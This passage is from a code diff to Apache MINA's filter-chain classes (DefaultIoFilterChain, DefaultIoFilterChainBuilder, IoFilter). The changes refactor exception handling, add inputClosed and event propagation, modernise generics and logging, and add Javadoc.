IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); - filter.messageSent(nextFilter, session, - writeRequest); - } catch (Throwable e) { + filter.messageSent(nextFilter, session, writeRequest); + } catch (Exception e) { fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; } } + /** + * {@inheritDoc} + */ + @Override public void fireExceptionCaught(Throwable cause) { - Entry head = this.head; callNextExceptionCaught(head, session, cause); } - private void callNextExceptionCaught(Entry entry, IoSession session, - Throwable cause) { + private void callNextExceptionCaught(Entry entry, IoSession session, Throwable cause) { // Notify the related future. - ConnectFuture future = (ConnectFuture) session - .removeAttribute(SESSION_CREATED_FUTURE); + ConnectFuture future = (ConnectFuture) session.removeAttribute(SESSION_CREATED_FUTURE); if (future == null) { try { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); - filter.exceptionCaught(nextFilter, - session, cause); + filter.exceptionCaught(nextFilter, session, cause); } catch (Throwable e) { - LOGGER - .warn( - "Unexpected exception from exceptionCaught handler.", - e); + LOGGER.warn("Unexpected exception from exceptionCaught handler.", e); } } else { // Please note that this place is not the only place that // calls ConnectFuture.setException(). - session.close(true); + if (!session.isClosing()) { + // Call the closeNow method only if needed + session.closeNow(); + } + future.setException(cause); } } + /** + * {@inheritDoc} + */ + @Override + public void fireInputClosed() { + Entry head = this.head; + callNextInputClosed(head, session); + } + + private void callNextInputClosed(Entry entry, IoSession session) { + try { + IoFilter filter = entry.getFilter(); + NextFilter nextFilter = entry.getNextFilter(); + filter.inputClosed(nextFilter, session); + } catch (Throwable e) { + fireExceptionCaught(e); + } + } + + /** + * {@inheritDoc} + */ + @Override public void fireFilterWrite(WriteRequest writeRequest) { - Entry tail = this.tail; callPreviousFilterWrite(tail, session, writeRequest); } - private void callPreviousFilterWrite(Entry entry, IoSession session, - WriteRequest writeRequest) { + private void callPreviousFilterWrite(Entry entry, IoSession session, WriteRequest writeRequest) { try { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); filter.filterWrite(nextFilter, session, writeRequest); - } catch (Throwable e) { + } catch (Exception e) { writeRequest.getFuture().setException(e); fireExceptionCaught(e); + } catch (Error e) { + writeRequest.getFuture().setException(e); + fireExceptionCaught(e); + throw e; } } + /** + * {@inheritDoc} + */ + @Override public void fireFilterClose() { - Entry tail = this.tail; callPreviousFilterClose(tail, session); } @@ -523,14 +775,35 @@ private void callPreviousFilterClose(Entry entry, IoSession session) { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); filter.filterClose(nextFilter, session); - } catch (Throwable e) { + } catch (Exception e) { fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; } } + private void callNextFilterEvent(Entry entry, IoSession session, FilterEvent event) { + try { + IoFilter filter = entry.getFilter(); + NextFilter nextFilter = entry.getNextFilter(); + filter.event(nextFilter, session, event); + } catch (Exception e) { + fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; + } + } + + /** + * {@inheritDoc} + */ + @Override public List getAll() { - List list = new ArrayList(); + List list = new ArrayList<>(); EntryImpl e = head.nextEntry; + while (e != tail) { list.add(e); e = e.nextEntry; @@ -539,24 +812,42 @@ public List getAll() { return list; } + /** + * {@inheritDoc} + */ + @Override public List getAllReversed() { - List list = new ArrayList(); + List list = new ArrayList<>(); EntryImpl e = tail.prevEntry; + while (e != head) { list.add(e); e = e.prevEntry; } + return list; } + /** + * {@inheritDoc} + */ + @Override public boolean contains(String name) { return getEntry(name) != null; } + /** + * {@inheritDoc} + */ + @Override public boolean contains(IoFilter filter) { return getEntry(filter) != null; } + /** + * {@inheritDoc} + */ + @Override public boolean contains(Class filterType) { return getEntry(filterType) != null; } @@ -569,6 +860,7 @@ public String toString() { boolean empty = true; EntryImpl e = head.nextEntry; + while (e != tail) { if (!empty) { buf.append(", "); @@ -597,9 +889,7 @@ public String toString() { private class HeadFilter extends IoFilterAdapter { @SuppressWarnings("unchecked") @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { AbstractIoSession s = (AbstractIoSession) session; // Maintain counters. @@ -608,43 +898,54 @@ public void filterWrite(NextFilter nextFilter, IoSession session, // I/O processor implementation will call buffer.reset() // it after the write operation is finished, because // the buffer will be specified with messageSent event. - buffer.mark(); int remaining = buffer.remaining(); - if (remaining == 0) { - // Zero-sized buffer means the internal message - // delimiter. - s.increaseScheduledWriteMessages(); - } else { + + if (remaining > 0) { s.increaseScheduledWriteBytes(remaining); } - } else { + } + + if (!(writeRequest instanceof EncryptedWriteRequest) || writeRequest.getOriginalRequest() != writeRequest) { + // do not increase the counter for encrypted SSL-related messages s.increaseScheduledWriteMessages(); } + + WriteRequestQueue writeRequestQueue = s.getWriteRequestQueue(); - s.getWriteRequestQueue().offer(s, writeRequest); if (!s.isWriteSuspended()) { - s.getProcessor().flush(s); + if (writeRequestQueue.isEmpty(session)) { + // We can write directly the message + s.getProcessor().write(s, writeRequest); + } else { + s.getWriteRequestQueue().offer(s, writeRequest); + s.getProcessor().flush(s); + } + } else { + s.getWriteRequestQueue().offer(s, writeRequest); } } @SuppressWarnings("unchecked") @Override - public void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { - ((AbstractIoSession) session).getProcessor().remove(((AbstractIoSession) session)); + public void filterClose(NextFilter nextFilter, IoSession session) throws Exception { + ((AbstractIoSession) session).getProcessor().remove(session); } } private static class TailFilter extends IoFilterAdapter { @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { + session.getHandler().sessionCreated(session); + } + + @Override + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { try { - session.getHandler().sessionCreated(session); + session.getHandler().sessionOpened(session); } finally { // Notify the related future. - ConnectFuture future = (ConnectFuture) session - .removeAttribute(SESSION_CREATED_FUTURE); + ConnectFuture future = (ConnectFuture) session.removeAttribute(SESSION_CREATED_FUTURE); + if (future != null) { future.setSession(session); } @@ -652,15 +953,9 @@ public void sessionCreated(NextFilter nextFilter, IoSession session) } @Override - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { - session.getHandler().sessionOpened(session); - } - - @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { AbstractIoSession s = (AbstractIoSession) session; + try { s.getHandler().sessionClosed(session); } finally { @@ -684,15 +979,14 @@ public void sessionClosed(NextFilter nextFilter, IoSession session) } @Override - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { session.getHandler().sessionIdle(session, status); } @Override - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { AbstractIoSession s = (AbstractIoSession) session; + try { s.getHandler().exceptionCaught(s, cause); } finally { @@ -703,15 +997,24 @@ public void exceptionCaught(NextFilter nextFilter, IoSession session, } @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { + public void inputClosed(NextFilter nextFilter, IoSession session) throws Exception { + session.getHandler().inputClosed(session); + } + + @Override + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { AbstractIoSession s = (AbstractIoSession) session; - if (!(message instanceof IoBuffer)) { - s.increaseReadMessages(System.currentTimeMillis()); - } else if (!((IoBuffer) message).hasRemaining()) { + + if (message instanceof IoBuffer && !((IoBuffer) message).hasRemaining()) { s.increaseReadMessages(System.currentTimeMillis()); } + // Update the statistics + if (session.getService() instanceof AbstractIoService) { + ((AbstractIoService) session.getService()).getStatistics().updateThroughput(System.currentTimeMillis()); + } + + // Propagate the message try { session.getHandler().messageReceived(s, message); } finally { @@ -722,26 +1025,26 @@ public void messageReceived(NextFilter nextFilter, IoSession session, } @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - session.getHandler() - .messageSent(session, writeRequest.getMessage()); - } + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { + long now = System.currentTimeMillis(); + ((AbstractIoSession) session).increaseWrittenMessages(writeRequest, now); - @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - nextFilter.filterWrite(session, writeRequest); - } + // Update the statistics + if (session.getService() instanceof AbstractIoService) { + ((AbstractIoService) session.getService()).getStatistics().updateThroughput(now); + } + // Propagate the message + session.getHandler().messageSent(session, writeRequest.getOriginalMessage()); + } + @Override - public void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { - nextFilter.filterClose(session); + public void event(NextFilter nextFilter, IoSession session, FilterEvent event) throws Exception { + session.getHandler().event(session, event); } } - private class EntryImpl implements Entry { + private final class EntryImpl implements Entry { private EntryImpl prevEntry; private EntryImpl nextEntry; @@ -752,11 +1055,11 @@ private class EntryImpl implements Entry { private final NextFilter nextFilter; - private EntryImpl(EntryImpl prevEntry, EntryImpl nextEntry, - String name, IoFilter filter) { + private EntryImpl(EntryImpl prevEntry, EntryImpl nextEntry, String name, IoFilter filter) { if (filter == null) { throw new IllegalArgumentException("filter"); } + if (name == null) { throw new IllegalArgumentException("name"); } @@ -766,63 +1069,127 @@ private EntryImpl(EntryImpl prevEntry, EntryImpl nextEntry, this.name = name; this.filter = filter; this.nextFilter = new NextFilter() { + /** + * {@inheritDoc} + */ + @Override public void sessionCreated(IoSession session) { Entry nextEntry = EntryImpl.this.nextEntry; callNextSessionCreated(nextEntry, session); } + /** + * {@inheritDoc} + */ + @Override public void sessionOpened(IoSession session) { Entry nextEntry = EntryImpl.this.nextEntry; callNextSessionOpened(nextEntry, session); } + /** + * {@inheritDoc} + */ + @Override public void sessionClosed(IoSession session) { Entry nextEntry = EntryImpl.this.nextEntry; callNextSessionClosed(nextEntry, session); } + /** + * {@inheritDoc} + */ + @Override public void sessionIdle(IoSession session, IdleStatus status) { Entry nextEntry = EntryImpl.this.nextEntry; callNextSessionIdle(nextEntry, session, status); } + /** + * {@inheritDoc} + */ + @Override public void exceptionCaught(IoSession session, Throwable cause) { Entry nextEntry = EntryImpl.this.nextEntry; callNextExceptionCaught(nextEntry, session, cause); } + /** + * {@inheritDoc} + */ + @Override + public void inputClosed(IoSession session) { + Entry nextEntry = EntryImpl.this.nextEntry; + callNextInputClosed(nextEntry, session); + } + + /** + * {@inheritDoc} + */ + @Override public void messageReceived(IoSession session, Object message) { Entry nextEntry = EntryImpl.this.nextEntry; callNextMessageReceived(nextEntry, session, message); } - public void messageSent(IoSession session, - WriteRequest writeRequest) { + /** + * {@inheritDoc} + */ + @Override + public void messageSent(IoSession session, WriteRequest writeRequest) { Entry nextEntry = EntryImpl.this.nextEntry; callNextMessageSent(nextEntry, session, writeRequest); } - public void filterWrite(IoSession session, - WriteRequest writeRequest) { + /** + * {@inheritDoc} + */ + @Override + public void filterWrite(IoSession session, WriteRequest writeRequest) { Entry nextEntry = EntryImpl.this.prevEntry; callPreviousFilterWrite(nextEntry, session, writeRequest); } + /** + * {@inheritDoc} + */ + @Override public void filterClose(IoSession session) { Entry nextEntry = EntryImpl.this.prevEntry; callPreviousFilterClose(nextEntry, session); } + /** + * {@inheritDoc} + */ + @Override + public void event(IoSession session, FilterEvent event) { + Entry nextEntry = EntryImpl.this.nextEntry; + callNextFilterEvent(nextEntry, session, event); + } + + /** + * {@inheritDoc} + */ + @Override public String toString() { return EntryImpl.this.nextEntry.name; } }; } + /** + * {@inheritDoc} + */ + @Override public String getName() { return name; } + /** + * {@inheritDoc} + */ + @Override public IoFilter getFilter() { return filter; } @@ -835,6 +1202,10 @@ private void setFilter(IoFilter filter) { this.filter = filter; } + /** + * {@inheritDoc} + */ + @Override public NextFilter getNextFilter() { return nextFilter; } @@ -869,21 +1240,38 @@ public String toString() { } sb.append("')"); + return sb.toString(); } + /** + * {@inheritDoc} + */ + @Override public void addAfter(String name, IoFilter filter) { DefaultIoFilterChain.this.addAfter(getName(), name, filter); } + /** + * {@inheritDoc} + */ + @Override public void addBefore(String name, IoFilter filter) { DefaultIoFilterChain.this.addBefore(getName(), name, filter); } + /** + * {@inheritDoc} + */ + @Override public void remove() { DefaultIoFilterChain.this.remove(getName()); } + /** + * {@inheritDoc} + */ + @Override public void replace(IoFilter newFilter) { DefaultIoFilterChain.this.replace(getName(), newFilter); } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChainBuilder.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChainBuilder.java index 8be6e7f1b8..32cfe9f176 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChainBuilder.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChainBuilder.java @@ -60,33 +60,39 @@ * @org.apache.xbean.XBean */ public class DefaultIoFilterChainBuilder implements IoFilterChainBuilder { - - private final static Logger LOGGER = - LoggerFactory.getLogger(DefaultIoFilterChainBuilder.class); + /** The logger */ + private static final Logger LOGGER = LoggerFactory.getLogger(DefaultIoFilterChainBuilder.class); + + /** The list of filters */ private final List entries; /** * Creates a new instance with an empty filter list. */ public DefaultIoFilterChainBuilder() { - entries = new CopyOnWriteArrayList(); + entries = new CopyOnWriteArrayList<>(); } /** * Creates a new copy of the specified {@link DefaultIoFilterChainBuilder}. + * + * @param filterChain The FilterChain we will copy */ public DefaultIoFilterChainBuilder(DefaultIoFilterChainBuilder filterChain) { if (filterChain == null) { throw new IllegalArgumentException("filterChain"); } - entries = new CopyOnWriteArrayList(filterChain.entries); + entries = new CopyOnWriteArrayList<>(filterChain.entries); } /** * @see IoFilterChain#getEntry(String) + * + * @param name The Filter's name we are looking for + * @return The found Entry */ public Entry getEntry(String name) { - for (Entry e: entries) { + for (Entry e : entries) { if (e.getName().equals(name)) { return e; } @@ -97,9 +103,12 @@ public Entry getEntry(String name) { /** * @see IoFilterChain#getEntry(IoFilter) + * + * @param filter The Filter we are looking for + * @return The found Entry */ public Entry getEntry(IoFilter filter) { - for (Entry e: entries) { + for (Entry e : entries) { if (e.getFilter() == filter) { return e; } @@ -110,9 +119,12 @@ public Entry getEntry(IoFilter filter) { /** * @see IoFilterChain#getEntry(Class) + * + * @param filterType The FilterType we are looking for + * @return The found Entry */ public Entry getEntry(Class filterType) { - for (Entry e: entries) { + for (Entry e : entries) { if (filterType.isAssignableFrom(e.getFilter().getClass())) { return e; } @@ -123,9 +135,13 @@ public Entry getEntry(Class filterType) { /** * @see IoFilterChain#get(String) + * + * @param name The Filter's name we are looking for + * @return The found Filter, or null */ public IoFilter get(String name) { Entry e = getEntry(name); + if (e == null) { return null; } @@ -135,9 +151,13 @@ public IoFilter get(String name) { /** * @see IoFilterChain#get(Class) + * + * @param filterType The FilterType we are looking for + * @return The found Filter, or null */ public IoFilter get(Class filterType) { Entry e = getEntry(filterType); + if (e == null) { return null; } @@ -147,22 +167,30 @@ public IoFilter get(Class filterType) { /** * @see IoFilterChain#getAll() + * + * @return The list of Filters */ public List getAll() { - return new ArrayList(entries); + return new ArrayList<>(entries); } /** * @see IoFilterChain#getAllReversed() + * + * @return The list of Filters, reversed */ public List getAllReversed() { List result = getAll(); Collections.reverse(result); + return result; } /** * @see IoFilterChain#contains(String) + * + * @param name The Filter's name we want to check if it's in the chain + * @return true if the chain contains the given filter name */ public boolean contains(String name) { return getEntry(name) != null; @@ -170,6 +198,9 @@ public boolean contains(String name) { /** * @see IoFilterChain#contains(IoFilter) + * + * @param filter The Filter we want to check if it's in the chain + * @return true if the chain contains the given filter */ public boolean contains(IoFilter filter) { return getEntry(filter) != null; @@ -177,6 +208,9 @@ public boolean contains(IoFilter filter) { /** * @see IoFilterChain#contains(Class) + * + * @param filterType The FilterType we want to check if it's in the chain + * @return true if the chain contains the given filterType */ public boolean contains(Class filterType) { return getEntry(filterType) != null; @@ -184,6 +218,9 @@ public boolean contains(Class filterType) { /** * @see IoFilterChain#addFirst(String, IoFilter) + * + * @param name The filter's name + * @param filter The filter to add */ public synchronized void addFirst(String name, IoFilter filter) { register(0, new EntryImpl(name, filter)); @@ -191,6 +228,9 @@ public synchronized void addFirst(String name, IoFilter filter) { /** * @see IoFilterChain#addLast(String, IoFilter) + * + * @param name The filter's name + * @param filter The filter to add */ public synchronized void addLast(String name, IoFilter filter) { register(entries.size(), new EntryImpl(name, filter)); @@ -198,13 +238,17 @@ public synchronized void addLast(String name, IoFilter filter) { /** * @see IoFilterChain#addBefore(String, String, IoFilter) + * + * @param baseName The filter baseName + * @param name The filter's name + * @param filter The filter to add */ - public synchronized void addBefore(String baseName, String name, - IoFilter filter) { + public synchronized void addBefore(String baseName, String name, IoFilter filter) { checkBaseName(baseName); for (ListIterator i = entries.listIterator(); i.hasNext();) { Entry base = i.next(); + if (base.getName().equals(baseName)) { register(i.previousIndex(), new EntryImpl(name, filter)); break; @@ -214,13 +258,17 @@ public synchronized void addBefore(String baseName, String name, /** * @see IoFilterChain#addAfter(String, String, IoFilter) + * + * @param baseName The filter baseName + * @param name The filter's name + * @param filter The filter to add */ - public synchronized void addAfter(String baseName, String name, - IoFilter filter) { + public synchronized void addAfter(String baseName, String name, IoFilter filter) { checkBaseName(baseName); for (ListIterator i = entries.listIterator(); i.hasNext();) { Entry base = i.next(); + if (base.getName().equals(baseName)) { register(i.nextIndex(), new EntryImpl(name, filter)); break; @@ -230,6 +278,9 @@ public synchronized void addAfter(String baseName, String name, /** * @see IoFilterChain#remove(String) + * + * @param name The Filter's name to remove from the list of Filters + * @return The removed IoFilter */ public synchronized IoFilter remove(String name) { if (name == null) { @@ -238,8 +289,10 @@ public synchronized IoFilter remove(String name) { for (ListIterator i = entries.listIterator(); i.hasNext();) { Entry e = i.next(); + if (e.getName().equals(name)) { entries.remove(i.previousIndex()); + return e.getFilter(); } } @@ -249,6 +302,9 @@ public synchronized IoFilter remove(String name) { /** * @see IoFilterChain#remove(IoFilter) + * + * @param filter The Filter we want to remove from the list of Filters + * @return The removed IoFilter */ public synchronized IoFilter remove(IoFilter filter) { if (filter == null) { @@ -257,8 +313,10 @@ public synchronized IoFilter remove(IoFilter filter) { for (ListIterator i = entries.listIterator(); i.hasNext();) { Entry e = i.next(); + if (e.getFilter() == filter) { entries.remove(i.previousIndex()); + return e.getFilter(); } } @@ -268,6 +326,9 @@ public synchronized IoFilter remove(IoFilter filter) { /** * @see IoFilterChain#remove(Class) + * + * @param filterType The FilterType we want to remove from the list of Filters + * @return The removed IoFilter */ public synchronized IoFilter remove(Class filterType) { if (filterType == null) { @@ -276,8 +337,10 @@ public synchronized IoFilter remove(Class filterType) { for (ListIterator i = entries.listIterator(); i.hasNext();) { Entry e = i.next(); + if (filterType.isAssignableFrom(e.getFilter().getClass())) { entries.remove(i.previousIndex()); + return e.getFilter(); } } @@ -285,35 +348,58 @@ public synchronized IoFilter remove(Class filterType) { throw new IllegalArgumentException("Filter not found: " + filterType.getName()); } + /** + * Replace a filter by a new one. + * + * @param name The name of the filter to replace + * @param newFilter The new filter to use + * @return The replaced filter + */ public synchronized IoFilter replace(String name, IoFilter newFilter) { checkBaseName(name); - EntryImpl e = (EntryImpl)getEntry(name); + EntryImpl e = (EntryImpl) getEntry(name); IoFilter oldFilter = e.getFilter(); e.setFilter(newFilter); + return oldFilter; } + /** + * Replace a filter by a new one. + * + * @param oldFilter The filter to replace + * @param newFilter The new filter to use + */ public synchronized void replace(IoFilter oldFilter, IoFilter newFilter) { for (Entry e : entries) { if (e.getFilter() == oldFilter) { ((EntryImpl) e).setFilter(newFilter); + return; } } - throw new IllegalArgumentException("Filter not found: " - + oldFilter.getClass().getName()); + + throw new IllegalArgumentException("Filter not found: " + oldFilter.getClass().getName()); } - public synchronized void replace(Class oldFilterType, - IoFilter newFilter) { + /** + * Replace a filter by a new one. We are looking for a filter type, + * but if we have more than one with the same type, only the first + * found one will be replaced + * + * @param oldFilterType The filter type to replace + * @param newFilter The new filter to use + */ + public synchronized void replace(Class oldFilterType, IoFilter newFilter) { for (Entry e : entries) { if (oldFilterType.isAssignableFrom(e.getFilter().getClass())) { ((EntryImpl) e).setFilter(newFilter); + return; } } - throw new IllegalArgumentException("Filter not found: " - + oldFilterType.getName()); + + throw new IllegalArgumentException("Filter not found: " + oldFilterType.getName()); } /** @@ -322,137 +408,155 @@ public synchronized void replace(Class oldFilterType, public synchronized void clear() { entries.clear(); } - + /** * Clears the current list of filters and adds the specified * filter mapping to this builder. Please note that you must specify * a {@link Map} implementation that iterates the filter mapping in the * order of insertion such as {@link LinkedHashMap}. Otherwise, it will * throw an {@link IllegalArgumentException}. + * + * @param filters The list of filters to set */ public void setFilters(Map filters) { if (filters == null) { throw new IllegalArgumentException("filters"); } - + if (!isOrderedMap(filters)) { - throw new IllegalArgumentException( - "filters is not an ordered map. Please try " + - LinkedHashMap.class.getName() + "."); + throw new IllegalArgumentException("filters is not an ordered map. Please try " + + LinkedHashMap.class.getName() + "."); } - filters = new LinkedHashMap(filters); - for (Map.Entry e: filters.entrySet()) { + filters = new LinkedHashMap<>(filters); + + for (Map.Entry e : filters.entrySet()) { if (e.getKey() == null) { throw new IllegalArgumentException("filters contains a null key."); } + if (e.getValue() == null) { throw new IllegalArgumentException("filters contains a null value."); } } - + synchronized (this) { clear(); - for (Map.Entry e: filters.entrySet()) { + + for (Map.Entry e : filters.entrySet()) { addLast(e.getKey(), e.getValue()); } } } - + @SuppressWarnings("unchecked") - private boolean isOrderedMap(Map map) { + private boolean isOrderedMap(Map map) { + if (map == null) { + return false; + } + Class mapType = map.getClass(); + if (LinkedHashMap.class.isAssignableFrom(mapType)) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug(mapType.getSimpleName() + " is an ordered map."); + LOGGER.debug("{} is an ordered map.", mapType.getSimpleName() ); } + return true; } - + if (LOGGER.isDebugEnabled()) { - LOGGER.debug(mapType.getName() + " is not a " + LinkedHashMap.class.getSimpleName()); + LOGGER.debug("{} is not a {}", mapType.getName(), LinkedHashMap.class.getSimpleName()); } // Detect Jakarta Commons Collections OrderedMap implementations. Class type = mapType; + while (type != null) { - for (Class i: type.getInterfaces()) { + for (Class i : type.getInterfaces()) { if (i.getName().endsWith("OrderedMap")) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug( - mapType.getSimpleName() + - " is an ordered map (guessed from that it " + - " implements OrderedMap interface.)"); + LOGGER.debug("{} is an ordered map (guessed from that it implements OrderedMap interface.)", + mapType.getSimpleName()); } + return true; } } + type = type.getSuperclass(); } - + if (LOGGER.isDebugEnabled()) { - LOGGER.debug( - mapType.getName() + - " doesn't implement OrderedMap interface."); + LOGGER.debug("{} doesn't implement OrderedMap interface.", mapType.getName() ); } - + // Last resort: try to create a new instance and test if it maintains // the insertion order. - LOGGER.debug( - "Last resort; trying to create a new map instance with a " + - "default constructor and test if insertion order is " + - "maintained."); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Last resort; trying to create a new map instance with a " + + "default constructor and test if insertion order is maintained."); + } + + Map newMap; - Map newMap; try { - newMap = (Map) mapType.newInstance(); + newMap = (Map) mapType.newInstance(); } catch (Exception e) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug( - "Failed to create a new map instance of '" + - mapType.getName() +"'.", e); + LOGGER.debug("Failed to create a new map instance of '{}'.", mapType.getName(), e); } + return false; } - + Random rand = new Random(); - List expectedNames = new ArrayList(); + List expectedNames = new ArrayList<>(); IoFilter dummyFilter = new IoFilterAdapter(); - for (int i = 0; i < 65536; i ++) { + + for (int i = 0; i < 65536; i++) { String filterName; + do { filterName = String.valueOf(rand.nextInt()); } while (newMap.containsKey(filterName)); - + newMap.put(filterName, dummyFilter); expectedNames.add(filterName); Iterator it = expectedNames.iterator(); - for (Object key: newMap.keySet()) { + + for (Object key : newMap.keySet()) { if (!it.next().equals(key)) { if (LOGGER.isDebugEnabled()) { - LOGGER.debug( - "The specified map didn't pass the insertion " + - "order test after " + (i + 1) + " tries."); + LOGGER.debug("The specified map didn't pass the insertion order test after {} tries.", (i + 1)); } + return false; } } } - + if (LOGGER.isDebugEnabled()) { - LOGGER.debug( - "The specified map passed the insertion order test."); + LOGGER.debug("The specified map passed the insertion order test."); } + return true; } + /** + * {@inheritDoc} + */ + @Override public void buildFilterChain(IoFilterChain chain) throws Exception { for (Entry e : entries) { chain.addLast(e.getName(), e.getFilter()); } } + /** + * {@inheritDoc} + */ @Override public String toString() { StringBuilder buf = new StringBuilder(); @@ -489,28 +593,28 @@ private void checkBaseName(String baseName) { } if (!contains(baseName)) { - throw new IllegalArgumentException("Unknown filter name: " - + baseName); + throw new IllegalArgumentException("Unknown filter name: " + baseName); } } private void register(int index, Entry e) { if (contains(e.getName())) { - throw new IllegalArgumentException( - "Other filter is using the same name: " + e.getName()); + throw new IllegalArgumentException("Other filter is using the same name: " + e.getName()); } entries.add(index, e); } - private class EntryImpl implements Entry { + private final class EntryImpl implements Entry { private final String name; + private volatile IoFilter filter; private EntryImpl(String name, IoFilter filter) { if (name == null) { throw new IllegalArgumentException("name"); } + if (filter == null) { throw new IllegalArgumentException("filter"); } @@ -519,10 +623,18 @@ private EntryImpl(String name, IoFilter filter) { this.filter = filter; } + /** + * {@inheritDoc} + */ + @Override public String getName() { return name; } + /** + * {@inheritDoc} + */ + @Override public IoFilter getFilter() { return filter; } @@ -531,6 +643,10 @@ private void setFilter(IoFilter filter) { this.filter = filter; } + /** + * {@inheritDoc} + */ + @Override public NextFilter getNextFilter() { throw new IllegalStateException(); } @@ -540,18 +656,34 @@ public String toString() { return "(" + getName() + ':' + filter + ')'; } + /** + * {@inheritDoc} + */ + @Override public void addAfter(String name, IoFilter filter) { DefaultIoFilterChainBuilder.this.addAfter(getName(), name, filter); } + /** + * {@inheritDoc} + */ + @Override public void addBefore(String name, IoFilter filter) { DefaultIoFilterChainBuilder.this.addBefore(getName(), name, filter); } + /** + * {@inheritDoc} + */ + @Override public void remove() { DefaultIoFilterChainBuilder.this.remove(getName()); } + /** + * {@inheritDoc} + */ + @Override public void replace(IoFilter newFilter) { DefaultIoFilterChainBuilder.this.replace(getName(), newFilter); } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilter.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilter.java index 75b127df68..64f6892b91 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilter.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilter.java @@ -23,6 +23,7 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; import org.apache.mina.filter.util.ReferenceCountingFilter; /** @@ -41,7 +42,7 @@ * {@link IoSession}s. Users can cache the reference to the * session, which might malfunction if any filters are added or removed later. * - *

The Life Cycle

+ *

The Life Cycle

* {@link IoFilter}s are activated only when they are inside {@link IoFilterChain}. *

* When you add an {@link IoFilter} to an {@link IoFilterChain}: @@ -82,6 +83,8 @@ public interface IoFilter { * is added to a {@link IoFilterChain} at the first time, so you can * initialize shared resources. Please note that this method is never * called if you don't wrap a filter with {@link ReferenceCountingFilter}. + * + * @throws Exception If an error occurred while processing the event */ void init() throws Exception; @@ -90,11 +93,13 @@ public interface IoFilter { * is not used by any {@link IoFilterChain} anymore, so you can destroy * shared resources. Please note that this method is never called if * you don't wrap a filter with {@link ReferenceCountingFilter}. + * + * @throws Exception If an error occurred while processing the event */ void destroy() throws Exception; /** - * Invoked before this filter is added to the specified parent. + * Invoked before this filter is added to the specified parent. * Please note that this method can be invoked more than once if * this filter is added to more than one parents. This method is not * invoked before {@link #init()} is invoked. @@ -103,12 +108,12 @@ public interface IoFilter { * @param name the name assigned to this filter * @param nextFilter the {@link NextFilter} for this filter. You can reuse * this object until this filter is removed from the chain. + * @throws Exception If an error occurred while processing the event */ - void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) - throws Exception; + void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception; /** - * Invoked after this filter is added to the specified parent. + * Invoked after this filter is added to the specified parent. * Please note that this method can be invoked more than once if * this filter is added to more than one parents. This method is not * invoked before {@link #init()} is invoked. @@ -117,12 +122,12 @@ void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) * @param name the name assigned to this filter * @param nextFilter the {@link NextFilter} for this filter. You can reuse * this object until this filter is removed from the chain. + * @throws Exception If an error occurred while processing the event */ - void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) - throws Exception; + void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception; /** - * Invoked before this filter is removed from the specified parent. + * Invoked before this filter is removed from the specified parent. * Please note that this method can be invoked more than once if * this filter is removed from more than one parents. * This method is always invoked before {@link #destroy()} is invoked. @@ -131,12 +136,12 @@ void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) * @param name the name assigned to this filter * @param nextFilter the {@link NextFilter} for this filter. You can reuse * this object until this filter is removed from the chain. + * @throws Exception If an error occurred while processing the event */ - void onPreRemove(IoFilterChain parent, String name, NextFilter nextFilter) - throws Exception; + void onPreRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception; /** - * Invoked after this filter is removed from the specified parent. + * Invoked after this filter is removed from the specified parent. * Please note that this method can be invoked more than once if * this filter is removed from more than one parents. * This method is always invoked before {@link #destroy()} is invoked. @@ -145,115 +150,223 @@ void onPreRemove(IoFilterChain parent, String name, NextFilter nextFilter) * @param name the name assigned to this filter * @param 